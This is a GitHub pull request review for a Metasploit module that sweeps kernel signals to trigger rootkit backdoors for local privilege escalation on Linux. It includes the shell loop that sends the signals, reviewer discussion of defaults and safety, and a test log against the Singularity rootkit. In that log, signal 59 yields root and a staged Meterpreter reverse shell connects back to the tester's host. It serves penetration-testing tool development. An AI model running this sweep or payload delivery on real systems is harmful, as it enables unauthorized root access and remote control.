Skip to content

Conversation

@bcoles
Copy link
Contributor

@bcoles bcoles commented Oct 23, 2025

This module replaces exploit/linux/local/diamorphine_rootkit_signal_priv_esc.

register_options([
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
OptString.new('PID', [true, 'Process ID to send signals to', '$$'])
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This does not work on fish shell as it does not support $$. Regardless, using the current process is by far the safest default.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you want to be extra-fancy and support non-POSIX shells, cut -d ' ' -f 4 /proc/self/stat gets the current PID.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you want to be extra-fancy and support non-POSIX shells, cut -d ' ' -f 4 /proc/self/stat gets the current PID.

This still runs into the same issue with Fish which does not support $() or backticks for command substitution.

$$ is widely supported.

I'm not concerned about supporting Fish. The module that this module replaces also did not support Fish.

# Iterate from MIN to MAX sending each signal to PID.
# SIGCONT if the process hangs.
res = cmd_exec(
%{i=#{datastore['MIN_SIGNAL']}; while [ "$i" -le #{datastore['MAX_SIGNAL']} ]; do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"; i=$((i + 1)); done 2>/dev/null},
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This abomination is designed to be portable, fast, and safe.

  • Fast: Faster than calling cmd_exec(kill ...) for each signal (but not as fast as using a PID which the user doesn't have permission to kill, such as PID 1, or PID for a non-existent process).
  • Portable: This should work on all POSIX compliant shells, but will fail on fish due to lack of support for $! (and $$).
  • Safe: A new shell is spawned for each attempt, and signals are sent to this PID by default.

Using a different PID (such as PID 1) by default would have made the code much faster and cleaner, but it is not a safe default. The module includes a root check to prevent running as root, but indiscriminately spamming signals at PID 1 is never safe. For example, CAP_KILL allows non-root users to kill arbitrary processes.

An alternative is to use PID 666 by default. This is the default PID used by KoviD rookit. But again, this runs the risk of terminating any legitimate process which happens to use this PID.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe putting it on several lines with a join would make it a bit less abominable?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done. Still an abomination.

If we didn't care about leaving a few hung shell processes, the code would be much cleaner (a single command).

'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why SCREEN_EFFECTS?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the session is associated with a user with a GUI session, the user may see crash handler popups.

register_options([
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
OptString.new('PID', [true, 'Process ID to send signals to', '$$'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptString.new('PID', [true, 'Process ID to send signals to', '$$'])
OptString.new('PID', [true, 'Process ID to send signals to ($$ for the current process)', '$$'])

Not everyone is fluent in sh-fu, and some people might be unaware of the $$ trick.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It is the process ID of a newly spawned process, rather than the current process. I've changed the description.

register_options([
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
OptString.new('PID', [true, 'Process ID to send signals to', '$$'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you want to be extra-fancy and support non-POSIX shells, cut -d ' ' -f 4 /proc/self/stat gets the current PID.

# Iterate from MIN to MAX sending each signal to PID.
# SIGCONT if the process hangs.
res = cmd_exec(
%{i=#{datastore['MIN_SIGNAL']}; while [ "$i" -le #{datastore['MAX_SIGNAL']} ]; do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"; i=$((i + 1)); done 2>/dev/null},
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe putting it on several lines with a join would make it a bit less abominable?

@bcoles bcoles force-pushed the rootkit_privesc_signal_hunter branch from 5fa9347 to 0fbf02b Compare October 24, 2025 08:48
@msutovsky-r7 msutovsky-r7 self-assigned this Oct 24, 2025
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Singularity:

msf exploit(linux/local/rootkit_privesc_signal_hunter) > run verbose=true 
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Trying signals 0 to 64 (PID: $$) ...
[*] Executing 'id' with signal 0 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 1 (PID: $$) ...
[*] Executing 'id' with signal 2 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 3 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 4 (PID: $$) ...
Illegal instruction (core dumped)
[*] Executing 'id' with signal 5 (PID: $$) ...
Trace/breakpoint trap (core dumped)
[*] Executing 'id' with signal 6 (PID: $$) ...
Aborted (core dumped)
[*] Executing 'id' with signal 7 (PID: $$) ...
Bus error (core dumped)
[*] Executing 'id' with signal 8 (PID: $$) ...
Floating point exception (core dumped)
[*] Executing 'id' with signal 9 (PID: $$) ...
[*] Executing 'id' with signal 10 (PID: $$) ...
[*] Executing 'id' with signal 11 (PID: $$) ...
Segmentation fault (core dumped)
[*] Executing 'id' with signal 12 (PID: $$) ...
[*] Executing 'id' with signal 13 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 14 (PID: $$) ...
[*] Executing 'id' with signal 15 (PID: $$) ...
[*] Executing 'id' with signal 16 (PID: $$) ...
[*] Executing 'id' with signal 17 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 18 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 19 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 20 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 21 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 22 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 23 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 24 (PID: $$) ...
CPU time limit exceeded (core dumped)
[*] Executing 'id' with signal 25 (PID: $$) ...
File size limit exceeded (core dumped)
[*] Executing 'id' with signal 26 (PID: $$) ...
[*] Executing 'id' with signal 27 (PID: $$) ...
[*] Executing 'id' with signal 28 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 29 (PID: $$) ...
[*] Executing 'id' with signal 30 (PID: $$) ...
[*] Executing 'id' with signal 31 (PID: $$) ...
Bad system call (core dumped)
[*] Executing 'id' with signal 32 (PID: $$) ...
[*] Executing 'id' with signal 33 (PID: $$) ...
[*] Executing 'id' with signal 34 (PID: $$) ...
[*] Executing 'id' with signal 35 (PID: $$) ...
[*] Executing 'id' with signal 36 (PID: $$) ...
[*] Executing 'id' with signal 37 (PID: $$) ...
[*] Executing 'id' with signal 38 (PID: $$) ...
[*] Executing 'id' with signal 39 (PID: $$) ...
[*] Executing 'id' with signal 40 (PID: $$) ...
[*] Executing 'id' with signal 41 (PID: $$) ...
[*] Executing 'id' with signal 42 (PID: $$) ...
[*] Executing 'id' with signal 43 (PID: $$) ...
[*] Executing 'id' with signal 44 (PID: $$) ...
[*] Executing 'id' with signal 45 (PID: $$) ...
[*] Executing 'id' with signal 46 (PID: $$) ...
[*] Executing 'id' with signal 47 (PID: $$) ...
[*] Executing 'id' with signal 48 (PID: $$) ...
[*] Executing 'id' with signal 49 (PID: $$) ...
[*] Executing 'id' with signal 50 (PID: $$) ...
[*] Executing 'id' with signal 51 (PID: $$) ...
[*] Executing 'id' with signal 52 (PID: $$) ...
[*] Executing 'id' with signal 53 (PID: $$) ...
[*] Executing 'id' with signal 54 (PID: $$) ...
[*] Executing 'id' with signal 55 (PID: $$) ...
[*] Executing 'id' with signal 56 (PID: $$) ...
[*] Executing 'id' with signal 57 (PID: $$) ...
[*] Executing 'id' with signal 58 (PID: $$) ...
[*] Executing 'id' with signal 59 (PID: $$) ...
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),1000(ms)
[*] Executing 'id' with signal 60 (PID: $$) ...
[*] Executing 'id' with signal 61 (PID: $$) ...
[*] Executing 'id' with signal 62 (PID: $$) ...
[*] Executing 'id' with signal 63 (PID: $$) ...
[*] Executing 'id' with signal 64 (PID: $$) ...
[+] Found 1 signals for privilege escalation (59).
[*] Writing '/tmp/.08HYGo1T' (250 bytes) ...
[*] Trying signal 59 ...
[*] Executing '/tmp/.08HYGo1T & echo ' with signal 59 (PID: $$) ...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.225
[+] Deleted /tmp/.08HYGo1T
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.225:52050) at 2025-10-30 08:17:17 +0100

meterpreter > getuid
Server username: root

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @bcoles for this module. I just left a couple of comments for you to review when you get a chance.

kernel 5.19.0-38-generic (x64).
},
'License' => MSF_LICENSE,
'Author' => 'bcoles',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we also keep the author from the original module (m0nad)?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module originally targeted the Diamorphine rootkit.

m0nad was not the author of the module. I credited m0nad as the author of the Diamorphine rootkit.

register_options([
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new'])
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 Oct 30, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker , but maybe we can use an unset option as the default value and consider the user wants to spawn a new process instead of using new? In this case, this option should be set as optional:

Suggested change
OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new'])
OptInt.new('PID', [false, 'Process ID to send signals to (leave unset to spawn a new process)'])

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good idea. Done.

@bcoles bcoles force-pushed the rootkit_privesc_signal_hunter branch from 0fbf02b to 676a2ed Compare October 31, 2025 06:22
@msutovsky-r7 msutovsky-r7 merged commit c804e5f into rapid7:master Oct 31, 2025
17 checks passed
@msutovsky-r7 msutovsky-r7 added the rn-enhancement release notes enhancement label Oct 31, 2025
@msutovsky-r7
Copy link
Contributor

Release Notes

Expands diamorphine privilege escalation module to other rootkits, which use signal handling for privilege escalation.

@bcoles bcoles deleted the rootkit_privesc_signal_hunter branch October 31, 2025 09:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-enhancement release notes enhancement

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants